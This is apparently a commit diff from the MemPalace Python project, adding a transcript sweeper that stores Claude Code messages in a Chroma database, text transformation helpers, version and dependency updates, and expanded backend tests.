"""Decode bytes as UTF-8; replace invalid sequences with U+FFFD.
Equivalent to ``raw.decode("utf-8", errors="replace")``. This is the one
reserved transformation that operates on bytes rather than decoded text.
"""
return raw.decode("utf-8", errors="replace")
def newline_normalize(text: str) -> str:
"""Convert CRLF and bare-CR line endings to LF."""
return text.replace("\r\n", "\n").replace("\r", "\n")
def whitespace_trim(text: str) -> str:
"""Strip leading and trailing whitespace at the record boundary only."""
return text.strip()
_RUN_OF_THREE_OR_MORE_BLANK = re.compile(r"(?:\n[ \t]*){3,}\n")
def whitespace_collapse_internal(text: str) -> str:
"""Collapse runs of three or more blank lines to exactly two blank lines.
A "blank line" here is a line containing only spaces or tabs. Single and
double blank-line runs are preserved.
"""
# Normalise inputs before collapsing: turn internal blank lines with
# whitespace content into pure \n so the regex matches consistently.
lines = text.split("\n")
normalised = "\n".join(line if line.strip() else "" for line in lines)
return _RUN_OF_THREE_OR_MORE_BLANK.sub("\n\n\n", normalised)
def line_trim(text: str) -> str:
"""Strip leading and trailing whitespace from each individual line."""
return "\n".join(line.strip() for line in text.split("\n"))
def line_join_spaces(text: str) -> str:
"""Join adjacent non-blank lines with a single space, preserving paragraph breaks.
Two lines separated by at least one blank line remain on separate lines;
runs of non-blank lines collapse into a single space-separated line.
"""
paragraphs = re.split(r"\n[ \t]*\n", text)
joined = [" ".join(line.strip() for line in p.split("\n") if line.strip()) for p in paragraphs]
return "\n\n".join(joined)
def blank_line_drop(text: str) -> str:
"""Drop blank lines between non-blank lines, keeping non-blank lines only."""
return "\n".join(line for line in text.split("\n") if line.strip())
# The following reserved transformations are declared in the spec but are
# deeply adapter-specific. Rather than guess a single reference implementation
# now, we provide identity shims that leave the input unchanged when no
# adapter-specific implementation is available. Adapters that declare these
# MUST either override with a concrete implementation or provide a namespaced
# reference under
# ``mempalace.sources.transforms.<adapter_name>_<transform_name>`` (per the
# module docstring). The conformance suite looks up the adapter-specific
# implementation first, falling back to these identity shims only when none
# exists.
def strip_tool_chrome(text: str) -> str:
"""Adapter-supplied: remove system tags, hook output, tool UI chrome.
The reference implementation here is intentionally an identity function
because the noise patterns differ per transcript format (Claude Code,
Codex, ChatGPT, Slack). The conversations adapter, when migrated, will
register a concrete reference implementation under
``mempalace.sources.transforms.conversations_strip_tool_chrome``.
"""
return text
def tool_result_truncate(text: str) -> str:
"""Adapter-supplied: head/tail window on tool output with a middle marker."""
return text
def tool_result_omitted(text: str) -> str:
"""Adapter-supplied: fully omit some tool outputs (e.g., Read/Edit/Write)."""
return text
def spellcheck_user(text: str) -> str:
"""Adapter-supplied: rewrite user turns via autocorrect.
Requires the optional ``spellcheck`` extra and a tokenizer; the spec does
not mandate a specific language model, so the reference is adapter-owned.
"""
return text
def synthesized_marker(text: str) -> str:
"""Adapter-supplied: adapter inserts its own strings (e.g., '[N lines omitted]')."""
return text
def speaker_role_assignment(text: str) -> str:
"""Adapter-supplied: multi-party speakers alternately assigned user/assistant."""
return text
# ---------------------------------------------------------------------------
# Registry
# ---------------------------------------------------------------------------
# Reserved transformation name → reference implementation.
# Adapters look up by name to compose a round-trip pipeline during testing.
# The value conforms to the :class:`Transformation` protocol above; we type
# it as that Protocol rather than a concrete ``Callable`` so static checkers
# accept both the bytes→str (``utf8_replace_invalid``) and str→str shapes.
RESERVED_TRANSFORMATIONS: dict[str, Transformation] = {
"utf8_replace_invalid": utf8_replace_invalid,
"newline_normalize": newline_normalize,
"whitespace_trim": whitespace_trim,
"whitespace_collapse_internal": whitespace_collapse_internal,
"line_trim": line_trim,
"line_join_spaces": line_join_spaces,
"blank_line_drop": blank_line_drop,
"strip_tool_chrome": strip_tool_chrome,
"tool_result_truncate": tool_result_truncate,
"tool_result_omitted": tool_result_omitted,
"spellcheck_user": spellcheck_user,
"synthesized_marker": synthesized_marker,
"speaker_role_assignment": speaker_role_assignment,
}
def get_transformation(name: str) -> Transformation:
"""Resolve a reserved transformation by name.
Raises :class:`KeyError` if the name is neither reserved nor registered as
an adapter-namespaced reference (``<adapter>_<transform>``). Callers
looking for adapter-specific references SHOULD ``getattr`` on this module
first; this helper only covers the reserved names.
"""
try:
return RESERVED_TRANSFORMATIONS[name]
except KeyError as e:
raise KeyError(
f"unknown transformation {name!r}; reserved names: {sorted(RESERVED_TRANSFORMATIONS)}"
) from e
+4 -4
View File
@@ -224,7 +224,7 @@ def split_file(filepath, output_dir, dry_run=False):
print(f" [{i + 1}/{len(boundaries) - 1}] {name} ({len(chunk)} lines)")
else:
out_path.write_text("".join(chunk), encoding="utf-8")
print(f" ✓ {name} ({len(chunk)} lines)")
print(f" + {name} ({len(chunk)} lines)")
written.append(out_path)
@@ -290,7 +290,7 @@ def main():
print(f" Source: {src_dir}")
print(f" Output: {output_dir or 'same dir as source'}")
print(f" Mega-files: {len(mega_files)}")
print(f"{'─' * 60}\n")
print(f"{'-' * 60}\n")
total_written = 0
for f, n_sessions in mega_files:
@@ -301,11 +301,11 @@ def main():
if not args.dry_run and written:
backup = f.with_suffix(".mega_backup")
f.rename(backup)
print(f" → Original renamed to {backup.name}\n")
print(f" -> Original renamed to {backup.name}\n")
else:
print()
print(f"{'─' * 60}")
print(f"{'-' * 60}")
if args.dry_run:
print(f" DRY RUN — would create {total_written} files from {len(mega_files)} mega-files")
else:
+347
View File
@@ -0,0 +1,347 @@
#!/usr/bin/env python3
"""
sweeper.py — Message-granular miner that catches what the file-level
primary miners dropped.
Algorithm, per session:
cursor = max(timestamp of sweeper-written drawers for this session_id)
For each user/assistant message in the jsonl:
if cursor is not None and message.timestamp < cursor: skip
else: upsert a drawer keyed by (session_id, message_uuid)
Properties:
- Idempotent on its own writes: rerunning is a no-op because drawer
IDs are deterministic and existence is pre-checked before counting.
- Resume-safe: a crash mid-sweep is recovered on the next run — the
cursor advances to the last ingested timestamp and re-attempts at
that boundary are de-duped by the deterministic ID.
- Tie-break safe: uses ``< cursor`` (not ``<=``), so if multiple
messages share the max timestamp and only some were ingested, the
rest are still picked up on re-run.
- No size caps: each drawer holds one exchange, ~1-5 KB.
Coordination with the primary file-level miners (``miner.py`` /
``convo_miner.py``) is limited: those miners chunk at a fixed char size
and do not currently stamp ``session_id``/``timestamp`` metadata that
the sweeper can key off. In practice the sweeper coordinates with its
own prior runs, and may ingest content that also got chunked into
primary-miner drawers (under different IDs). Follow-up: add uniform
``ingest_mode`` + message metadata to the primary miners so dedup spans
both paths.
Usage:
from mempalace.sweeper import sweep
result = sweep("/path/to/session.jsonl", "/path/to/palace")
"""
from __future__ import annotations
import json
import logging
import sys
from datetime import datetime
from pathlib import Path
from typing import Iterator, Optional
from .palace import get_collection
logger = logging.getLogger(__name__)
# ── JSONL parsing ────────────────────────────────────────────────────
def _flatten_content(content) -> str:
"""Normalize Claude Code's message content to a plain string.
User messages are strings already; assistant messages are a list of
content blocks like [{"type": "text", "text": "..."}, {"type":
"tool_use", ...}]. All blocks are preserved verbatim — the design
principle is "verbatim always", so tool inputs and results are
serialized in full, never truncated.
"""
if isinstance(content, str):
return content
if isinstance(content, list):
parts = []
for block in content:
if not isinstance(block, dict):
continue
btype = block.get("type", "")
if btype == "text":
parts.append(block.get("text", ""))
elif btype == "tool_use":
parts.append(
f"[tool_use: {block.get('name', '?')} "
f"input={json.dumps(block.get('input', {}), default=str)}]"
)
elif btype == "tool_result":
parts.append(f"[tool_result: {json.dumps(block.get('content', ''), default=str)}]")
else:
parts.append(f"[{btype}: {json.dumps(block, default=str)}]")
return "\n".join(p for p in parts if p)
return str(content)
def parse_claude_jsonl(path: str) -> Iterator[dict]:
"""Yield user/assistant records from a Claude Code .jsonl file.
Each yield is:
{
"session_id": str,
"uuid": str, # per-message UUID
"timestamp": str, # ISO 8601
"role": "user" | "assistant",
"content": str, # flattened text
}
Non-message records (progress, file-history-snapshot, system,
queue-operation, last-prompt) are filtered out. Malformed lines are
skipped silently — data quality is the transcript writer's problem,
not ours.
"""
with open(path, "r", encoding="utf-8", errors="replace") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
record = json.loads(line)
except json.JSONDecodeError:
continue
rtype = record.get("type")
if rtype not in ("user", "assistant"):
continue
msg = record.get("message") or {}
if not isinstance(msg, dict):
continue
role = msg.get("role")
if role not in ("user", "assistant"):
continue
timestamp = record.get("timestamp")
if not timestamp:
continue
uuid = record.get("uuid")
if not uuid:
continue
session_id = record.get("sessionId") or record.get("session_id")
if not session_id:
continue
content = _flatten_content(msg.get("content", ""))
if not content.strip():
continue
yield {
"session_id": session_id,
"uuid": uuid,
"timestamp": timestamp,
"role": role,
"content": content,
}
# ── Cursor resolution ────────────────────────────────────────────────
def get_palace_cursor(collection, session_id: str) -> Optional[str]:
"""Return the max timestamp of drawers for this session_id, or None.
ISO-8601 strings compare lexically in the right order, so we don't
need to parse them. Query scans metadatas for the session via the
backend's where-filter, then reduces.
Backend errors are logged at WARNING and surface as a `None` cursor —
which makes the caller treat the session as empty and ingest every
message. That's intentional: a no-cursor sweep is recovered from on
the next run by deterministic drawer IDs, so a degraded cursor never
causes silent data loss.
"""
try:
data = collection.get(
where={"session_id": session_id},
include=["metadatas"],
)
except Exception as exc:
logger.warning(
"sweeper: cursor lookup failed for session_id=%s (%s); "
"treating as empty — drawers will be re-upserted idempotently.",
session_id,
exc,
)
return None
metas = data.get("metadatas") or []
timestamps = [m.get("timestamp") for m in metas if m and m.get("timestamp")]
if not timestamps:
return None
return max(timestamps)
# ── Sweep ────────────────────────────────────────────────────────────
def _drawer_id_for_message(session_id: str, message_uuid: str) -> str:
"""Deterministic drawer ID so upserts at the same message are no-ops.
Uses the full session_id (not a prefix) to avoid any cross-session
collision risk if a transcript source ever uses non-UUID session
identifiers or shares prefixes across sessions.
"""
return f"sweep_{session_id}_{message_uuid}"
def sweep(jsonl_path: str, palace_path: str, source_label: Optional[str] = None) -> dict:
"""Ingest every user/assistant message not already represented.
For each message in the jsonl:
- If timestamp < cursor for that session, skip (strictly earlier
than anything already in the palace — already covered).
- At timestamp == cursor we do NOT skip, because multiple messages
can share the same ISO-8601 timestamp; if only some of them were
ingested before a crash, a `<= cursor` skip would lose the rest
forever. Deterministic drawer IDs make re-attempting at the
cursor boundary safe (existing rows are found via a pre-flight
`get(ids=...)` and counted as "already present", not "added").
- Else, upsert a drawer with deterministic ID so reruns dedupe.
Returns ``{drawers_added, drawers_already_present, drawers_skipped,
drawers_upserted, cursor_by_session}``:
* ``drawers_added`` — rows that did not exist before this sweep.
* ``drawers_already_present`` — rows whose deterministic ID was
already in the palace and got rewritten idempotently.
* ``drawers_skipped`` — records skipped by the cursor (strictly
earlier than what's already stored).
* ``drawers_upserted`` — total writes = added + already_present.
"""
collection = get_collection(palace_path, create=True)
cursors: dict = {}
drawers_added = 0
drawers_already_present = 0
drawers_skipped = 0
batch_ids: list[str] = []
batch_docs: list[str] = []
batch_metas: list[dict] = []
BATCH_SIZE = 64
def _flush():
nonlocal drawers_added, drawers_already_present
if not batch_ids:
return
# Pre-flight: which IDs in this batch are already present?
# Upsert is idempotent on data but counts as "added" would lie;
# this pre-query makes the metric honest (Copilot PR 998 review).
try:
existing = collection.get(ids=list(batch_ids), include=[])
# Chroma returns a dict; typed backends return GetResult — the
# compat shim makes ``.get("ids")`` work on both.
present = set(existing.get("ids") or [])
except Exception as exc:
logger.warning(
"sweeper: existence pre-check failed (%s); "
"counting all batch rows as new (metric may over-count on reruns).",
exc,
)
present = set()
new_count = sum(1 for rid in batch_ids if rid not in present)
already_count = len(batch_ids) - new_count
collection.upsert(
ids=batch_ids,
documents=batch_docs,
metadatas=batch_metas,
)
drawers_added += new_count
drawers_already_present += already_count
batch_ids.clear()
batch_docs.clear()
batch_metas.clear()
for rec in parse_claude_jsonl(jsonl_path):
sid = rec["session_id"]
if sid not in cursors:
cursors[sid] = get_palace_cursor(collection, sid)
cursor = cursors[sid]
if cursor is not None and rec["timestamp"] < cursor:
drawers_skipped += 1
continue
drawer_id = _drawer_id_for_message(sid, rec["uuid"])
document = f"{rec['role'].upper()}: {rec['content']}"
metadata = {
"session_id": sid,
"timestamp": rec["timestamp"],
"message_uuid": rec["uuid"],
"role": rec["role"],
"source_file": source_label or jsonl_path,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "sweep",
}
batch_ids.append(drawer_id)
batch_docs.append(document)
batch_metas.append(metadata)
if len(batch_ids) >= BATCH_SIZE:
_flush()
_flush()
return {
"drawers_added": drawers_added,
"drawers_already_present": drawers_already_present,
"drawers_upserted": drawers_added + drawers_already_present,
"drawers_skipped": drawers_skipped,
"cursor_by_session": cursors,
}
def sweep_directory(dir_path: str, palace_path: str) -> dict:
"""Sweep every .jsonl file in a directory (recursive).
Returns aggregated summary across all files. ``files_attempted``
includes files that raised, so the count reflects discovery rather
than only successes; ``files_succeeded`` is the subset that
completed without error.
"""
dir_p = Path(dir_path).expanduser().resolve()
files = sorted(dir_p.rglob("*.jsonl"))
total_added = 0
total_already_present = 0
total_skipped = 0
per_file = []
failures: list[dict] = []
for f in files:
try:
result = sweep(str(f), palace_path, source_label=str(f))
except Exception as exc:
logger.error("sweeper: sweep failed on %s: %s", f, exc)
print(f" WARNING: sweep failed on {f}: {exc}", file=sys.stderr)
failures.append({"file": str(f), "error": str(exc)})
continue
total_added += result["drawers_added"]
total_already_present += result.get("drawers_already_present", 0)
total_skipped += result["drawers_skipped"]
per_file.append(
{
"file": str(f),
"added": result["drawers_added"],
"already_present": result.get("drawers_already_present", 0),
"skipped": result["drawers_skipped"],
}
)
return {
"files_attempted": len(files),
"files_succeeded": len(per_file),
"drawers_added": total_added,
"drawers_already_present": total_already_present,
"drawers_skipped": total_skipped,
"per_file": per_file,
"failures": failures,
}
+1 -1
View File
@@ -1,3 +1,3 @@
"""Single source of truth for the MemPalace package version."""
__version__ = "3.3.1"
__version__ = "3.3.4"
+1
View File
@@ -0,0 +1 @@
OpenArena owner claim verification for MemPalace/mempalace: 09AE2C2E66CC4B5CBD7D
+23 -2
View File
@@ -1,6 +1,6 @@
[project]
name = "mempalace"
version = "3.3.1"
version = "3.3.4"
description = "Give your AI a memory — mine projects and conversations into a searchable palace. No API key required."
readme = "README.md"
requires-python = ">=3.9"
@@ -21,12 +21,15 @@ classifiers = [
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Programming Language :: Python :: 3.14",
"Topic :: Scientific/Engineering :: Artificial Intelligence",
"Topic :: Utilities",
]
dependencies = [
"chromadb>=0.5.0",
"chromadb>=1.5.4,<2",
"pyyaml>=6.0,<7",
"tomli>=2.0.0; python_version < '3.11'",
]
[project.urls]
@@ -36,10 +39,28 @@ Repository = "https://github.com/MemPalace/mempalace"
[project.scripts]
mempalace = "mempalace.cli:main"
mempalace-mcp = "mempalace.mcp_server:main"
[project.entry-points."mempalace.backends"]
chroma = "mempalace.backends.chroma:ChromaBackend"
# RFC 002 source-adapter entry-point group. Core publishes no first-party
# adapters under this group yet; ``miner.py`` and ``convo_miner.py`` migrate
# onto ``BaseSourceAdapter`` in a follow-up PR. Third-party adapter packages
# (``mempalace-source-cursor``, ``mempalace-source-git``, …) register here.
[project.entry-points."mempalace.sources"]
[project.optional-dependencies]
dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]
spellcheck = ["autocorrect>=2.0"]
# Hardware acceleration for the ONNX embedding model. Install exactly one:
# pip install mempalace[gpu] — NVIDIA CUDA
# pip install mempalace[dml] — DirectML (Windows AMD/Intel/NVIDIA)
# pip install mempalace[coreml] — macOS Neural Engine
# After install, set MEMPALACE_EMBEDDING_DEVICE=cuda|dml|coreml (or "auto").
gpu = ["onnxruntime-gpu>=1.16"]
dml = ["onnxruntime-directml>=1.16"]
coreml = ["onnxruntime>=1.16"]
[dependency-groups]
dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]
+8
View File
@@ -46,6 +46,14 @@ def _reset_mcp_cache():
mcp_server._collection_cache = None
except (ImportError, AttributeError):
pass
try:
# Reset the per-process quarantine gate so tests don't leak
# state through ChromaBackend._quarantined_paths.
from mempalace.backends.chroma import ChromaBackend
ChromaBackend._quarantined_paths.clear()
except (ImportError, AttributeError):
pass
_clear_cache()
yield
+693 -22
View File
@@ -1,14 +1,44 @@
import os
import sqlite3
from pathlib import Path
import chromadb
import pytest
from mempalace.backends.chroma import ChromaBackend, ChromaCollection, _fix_blob_seq_ids
from mempalace.backends import (
GetResult,
PalaceRef,
QueryResult,
UnsupportedFilterError,
available_backends,
get_backend,
)
from mempalace.backends.chroma import (
ChromaBackend,
ChromaCollection,
_fix_blob_seq_ids,
_pin_hnsw_threads,
quarantine_stale_hnsw,
)
class _FakeCollection:
def __init__(self):
"""Stand-in for a chromadb.Collection returning raw chroma-shaped dicts."""
def __init__(self, query_response=None, get_response=None, count_value=7):
self.calls = []
self._query_response = query_response or {
"ids": [["a", "b"]],
"documents": [["da", "db"]],
"metadatas": [[{"wing": "w1"}, {"wing": "w2"}]],
"distances": [[0.1, 0.2]],
}
self._get_response = get_response or {
"ids": ["a"],
"documents": ["da"],
"metadatas": [{"wing": "w1"}],
}
self._count_value = count_value
def add(self, **kwargs):
self.calls.append(("add", kwargs))
@@ -16,41 +46,251 @@ class _FakeCollection:
def upsert(self, **kwargs):
self.calls.append(("upsert", kwargs))
def update(self, **kwargs):
self.calls.append(("update", kwargs))
def query(self, **kwargs):
self.calls.append(("query", kwargs))
return {"kind": "query"}
return self._query_response
def get(self, **kwargs):
self.calls.append(("get", kwargs))
return {"kind": "get"}
return self._get_response
def delete(self, **kwargs):
self.calls.append(("delete", kwargs))
def count(self):
self.calls.append(("count", {}))
return 7
return self._count_value
def test_chroma_collection_delegates_methods():
def test_chroma_collection_returns_typed_query_result():
fake = _FakeCollection()
collection = ChromaCollection(fake)
result = collection.query(query_texts=["q"])
assert isinstance(result, QueryResult)
assert result.ids == [["a", "b"]]
assert result.documents == [["da", "db"]]
assert result.metadatas == [[{"wing": "w1"}, {"wing": "w2"}]]
assert result.distances == [[0.1, 0.2]]
assert result.embeddings is None
def test_chroma_collection_returns_typed_get_result():
fake = _FakeCollection()
collection = ChromaCollection(fake)
result = collection.get(where={"wing": "w1"})
assert isinstance(result, GetResult)
assert result.ids == ["a"]
assert result.documents == ["da"]
assert result.metadatas == [{"wing": "w1"}]
def test_query_result_empty_preserves_outer_dimension():
empty = QueryResult.empty(num_queries=2)
assert empty.ids == [[], []]
assert empty.documents == [[], []]
assert empty.distances == [[], []]
assert empty.embeddings is None
def test_typed_results_support_dict_compat_access():
"""Transitional compat shim per base.py — retained until callers migrate to attrs."""
result = GetResult(ids=["a"], documents=["da"], metadatas=[{"w": 1}])
assert result["ids"] == ["a"]
assert result.get("documents") == ["da"]
assert result.get("missing", "default") == "default"
assert "ids" in result
assert "missing" not in result
def test_chroma_collection_query_empty_result_preserves_outer_shape():
fake = _FakeCollection(
query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
)
collection = ChromaCollection(fake)
result = collection.query(query_texts=["q1", "q2"])
assert result.ids == [[], []]
assert result.documents == [[], []]
assert result.distances == [[], []]
def test_chroma_collection_rejects_unknown_where_operator():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(UnsupportedFilterError):
collection.query(query_texts=["q"], where={"$regex": "foo"})
def test_chroma_collection_delegates_writes():
fake = _FakeCollection()
collection = ChromaCollection(fake)
collection.add(documents=["d"], ids=["1"], metadatas=[{"wing": "w"}])
collection.upsert(documents=["u"], ids=["2"], metadatas=[{"room": "r"}])
assert collection.query(query_texts=["q"]) == {"kind": "query"}
assert collection.get(where={"wing": "w"}) == {"kind": "get"}
collection.delete(ids=["1"])
assert collection.count() == 7
assert fake.calls == [
("add", {"documents": ["d"], "ids": ["1"], "metadatas": [{"wing": "w"}]}),
("upsert", {"documents": ["u"], "ids": ["2"], "metadatas": [{"room": "r"}]}),
("query", {"query_texts": ["q"]}),
("get", {"where": {"wing": "w"}}),
("delete", {"ids": ["1"]}),
("count", {}),
]
kinds = [call[0] for call in fake.calls]
assert kinds == ["add", "upsert", "delete", "count"]
def test_registry_exposes_chroma_by_default():
names = available_backends()
assert "chroma" in names
assert isinstance(get_backend("chroma"), ChromaBackend)
def test_registry_unknown_backend_raises():
with pytest.raises(KeyError):
get_backend("no-such-backend-exists")
def test_resolve_backend_priority_order(tmp_path):
from mempalace.backends import resolve_backend_for_palace
# explicit kwarg wins over everything
assert resolve_backend_for_palace(explicit="pg", config_value="lance") == "pg"
# config value wins over env / default
assert resolve_backend_for_palace(config_value="lance", env_value="qdrant") == "lance"
# env wins over default
assert resolve_backend_for_palace(env_value="qdrant", default="chroma") == "qdrant"
# falls back to default
assert resolve_backend_for_palace() == "chroma"
def test_chroma_detect_matches_palace_with_chroma_sqlite(tmp_path):
(tmp_path / "chroma.sqlite3").write_bytes(b"")
assert ChromaBackend.detect(str(tmp_path)) is True
assert ChromaBackend.detect(str(tmp_path.parent)) is False
def test_query_rejects_missing_input():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query()
def test_query_rejects_both_texts_and_embeddings():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query(query_texts=["q"], query_embeddings=[[0.1, 0.2]])
def test_query_rejects_empty_input_list():
fake = _FakeCollection()
collection = ChromaCollection(fake)
with pytest.raises(ValueError):
collection.query(query_texts=[])
def test_query_empty_preserves_embeddings_outer_shape_when_requested():
fake = _FakeCollection(
query_response={"ids": [], "documents": [], "metadatas": [], "distances": []}
)
collection = ChromaCollection(fake)
requested = collection.query(query_texts=["q1", "q2"], include=["documents", "embeddings"])
assert requested.embeddings == [[], []]
not_requested = collection.query(query_texts=["q1", "q2"], include=["documents"])
assert not_requested.embeddings is None
def test_chroma_cache_invalidates_when_db_file_missing(tmp_path):
"""A palace rebuild that removes chroma.sqlite3 must drop the stale cache.
Primes backend._clients/_freshness directly with a sentinel rather than
opening a real ``PersistentClient``: on Windows the sqlite file handle
would still be live and ``Path.unlink`` would raise ``PermissionError``,
making the test unable to exercise the branch we care about. The decision
logic under test is pure (no chromadb calls before the branch), so a
sentinel is sufficient.
"""
backend = ChromaBackend()
palace_path = tmp_path / "palace"
palace_path.mkdir()
db_file = palace_path / "chroma.sqlite3"
db_file.write_bytes(b"") # any file is enough for _db_stat to see it
st = db_file.stat()
sentinel = object()
backend._clients[str(palace_path)] = sentinel
backend._freshness[str(palace_path)] = (st.st_ino, st.st_mtime)
# Simulate a rebuild mid-flight: chroma.sqlite3 goes away. Safe to unlink
# because nothing in this test is holding an OS handle on the file.
db_file.unlink()
prior_freshness = (st.st_ino, st.st_mtime)
new_client = backend._client(str(palace_path))
# Cache was replaced (not the sentinel) and freshness reflects the post-
# rebuild stat (chromadb re-creates chroma.sqlite3 during PersistentClient
# construction; _client re-stats after the constructor so freshness is
# not frozen at the pre-rebuild value). The stale cached sentinel would
# have served wrong data if returned.
assert new_client is not sentinel
assert backend._freshness[str(palace_path)] != prior_freshness
def test_chroma_cache_picks_up_db_created_after_first_open(tmp_path):
"""The 0 → nonzero stat transition invalidates a cache built before the DB existed."""
backend = ChromaBackend()
palace_path = tmp_path / "palace"
palace_path.mkdir()
# Seed an entry in the caches as if a prior _client() call had opened the
# palace when chroma.sqlite3 did not exist yet. Freshness (0, 0.0) is the
# signal that the DB was absent at cache time.
sentinel = object()
backend._clients[str(palace_path)] = sentinel
backend._freshness[str(palace_path)] = (0, 0.0)
# The DB file now appears (real chromadb would have created it by now).
# Use a real chromadb call so _fix_blob_seq_ids and PersistentClient succeed.
import chromadb as _chromadb
_chromadb.PersistentClient(path=str(palace_path)).get_or_create_collection("seed")
assert (palace_path / "chroma.sqlite3").is_file()
# Next _client() call must detect the 0 → nonzero transition and rebuild.
refreshed = backend._client(str(palace_path))
assert refreshed is not sentinel
assert backend._freshness[str(palace_path)] != (0, 0.0)
def test_base_collection_update_default_rejects_mismatched_lengths():
"""The ABC default update() raises ValueError rather than silently misaligning."""
from mempalace.backends.base import BaseCollection
collection = ChromaCollection(_FakeCollection())
with pytest.raises(ValueError, match="documents length"):
BaseCollection.update(collection, ids=["1", "2"], documents=["only-one"])
with pytest.raises(ValueError, match="metadatas length"):
BaseCollection.update(collection, ids=["1", "2"], metadatas=[{"k": 9}])
def test_chroma_backend_accepts_palace_ref_kwarg(tmp_path):
palace_path = tmp_path / "palace"
backend = ChromaBackend()
collection = backend.get_collection(
palace=PalaceRef(id=str(palace_path), local_path=str(palace_path)),
collection_name="mempalace_drawers",
create=True,
)
assert palace_path.is_dir()
assert isinstance(collection, ChromaCollection)
def test_chroma_backend_create_false_raises_without_creating_directory(tmp_path):
@@ -96,17 +336,76 @@ def test_chroma_backend_creates_collection_with_cosine_distance(tmp_path):
assert col.metadata.get("hnsw:space") == "cosine"
def test_chroma_backend_sets_hnsw_bloat_guard_on_creation(tmp_path):
"""The HNSW guard from #344 must land on freshly-created collection metadata.
Without batch_size + sync_threshold, mining ~10K+ drawers triggers the
resize+persist drift that bloats link_lists.bin into hundreds of GB sparse
and segfaults `status` / `search` / `repair`. The guard belongs at
collection-creation time so every fresh palace gets it without needing
a runtime retrofit. Asserting both keys land on the persisted metadata
also covers the #1161 "config silently dropped" concern at CI time.
"""
palace_path = tmp_path / "palace"
ChromaBackend().get_collection(
str(palace_path),
collection_name="mempalace_drawers",
create=True,
)
client = chromadb.PersistentClient(path=str(palace_path))
col = client.get_collection("mempalace_drawers")
assert col.metadata.get("hnsw:batch_size") == 50_000
assert col.metadata.get("hnsw:sync_threshold") == 50_000
def test_chroma_backend_create_collection_sets_hnsw_bloat_guard(tmp_path):
"""Same guard must apply via the legacy create_collection() path."""
palace_path = tmp_path / "palace"
ChromaBackend().create_collection(str(palace_path), "mempalace_drawers")
client = chromadb.PersistentClient(path=str(palace_path))
col = client.get_collection("mempalace_drawers")
assert col.metadata.get("hnsw:batch_size") == 50_000
assert col.metadata.get("hnsw:sync_threshold") == 50_000
def test_get_collection_create_true_is_idempotent(tmp_path):
"""Calling get_collection(create=True) twice on the same name must not crash.
ChromaDB 1.5.x's Rust bindings SIGSEGV when get_or_create_collection is
called with metadata that differs from the stored collection metadata. The
fix splits the call into get_collection -> fallback create_collection so the
metadata-comparison codepath in chromadb_rust_bindings is never reached for
existing collections. Regression guard for issue #1089.
"""
palace = str(tmp_path / "palace")
backend = ChromaBackend()
backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
col2 = backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
assert isinstance(col2, ChromaCollection)
def test_get_collection_create_true_preserves_existing_metadata(tmp_path):
"""Existing collection metadata is not overwritten when reopened with create=True."""
palace = str(tmp_path / "palace")
backend = ChromaBackend()
backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
col = backend.get_collection(palace, collection_name="mempalace_drawers", create=True)
assert col._collection.metadata["hnsw:space"] == "cosine"
assert col._collection.metadata.get("hnsw:batch_size") == 50_000
def test_fix_blob_seq_ids_converts_blobs_to_integers(tmp_path):
"""Simulate a ChromaDB 0.6.x database with BLOB seq_ids and verify repair."""
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
conn.execute("CREATE TABLE max_seq_id (rowid INTEGER PRIMARY KEY, seq_id)")
# Insert BLOB seq_ids like ChromaDB 0.6.x would
# Insert BLOB seq_id like ChromaDB 0.6.x would
blob_42 = (42).to_bytes(8, byteorder="big")
blob_99 = (99).to_bytes(8, byteorder="big")
conn.execute("INSERT INTO embeddings (seq_id) VALUES (?)", (blob_42,))
conn.execute("INSERT INTO max_seq_id (seq_id) VALUES (?)", (blob_99,))
conn.commit()
conn.close()
@@ -115,8 +414,6 @@ def test_fix_blob_seq_ids_converts_blobs_to_integers(tmp_path):
conn = sqlite3.connect(str(db_path))
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM embeddings").fetchone()
assert row == (42, "integer")
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM max_seq_id").fetchone()
assert row == (99, "integer")
conn.close()
@@ -140,3 +437,377 @@ def test_fix_blob_seq_ids_noop_without_blobs(tmp_path):
def test_fix_blob_seq_ids_noop_without_database(tmp_path):
"""No error when palace has no chroma.sqlite3."""
_fix_blob_seq_ids(str(tmp_path)) # should not raise
def test_fix_blob_seq_ids_does_not_touch_max_seq_id(tmp_path):
"""chromadb 1.5.x owns max_seq_id; the shim must not interpret its BLOBs.
Regression guard for the 2026-04-20 incident: the old shim ran
int.from_bytes(..., 'big') over chromadb 1.5.x's native
b'\\x11\\x11' + ASCII-digit BLOB, producing a ~1.23e18 integer that
silently suppressed every subsequent embeddings_queue write.
"""
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
conn.execute("CREATE TABLE embeddings (rowid INTEGER PRIMARY KEY, seq_id)")
conn.execute("CREATE TABLE max_seq_id (rowid INTEGER PRIMARY KEY, seq_id)")
sysdb10_blob = b"\x11\x11502607"
conn.execute("INSERT INTO max_seq_id (seq_id) VALUES (?)", (sysdb10_blob,))
conn.commit()
conn.close()
_fix_blob_seq_ids(str(tmp_path))
conn = sqlite3.connect(str(db_path))
row = conn.execute("SELECT seq_id, typeof(seq_id) FROM max_seq_id").fetchone()
assert row == (sysdb10_blob, "blob")
conn.close()
def test_fix_blob_seq_ids_skips_sysdb10_prefix_in_embeddings(tmp_path):
"""Defense-in-depth: sysdb-10 prefix in embeddings.seq_id is skipped."""
db_path = tmp_path / "chroma.sqlite3"
conn = sqlite3.connect(str(db_path))
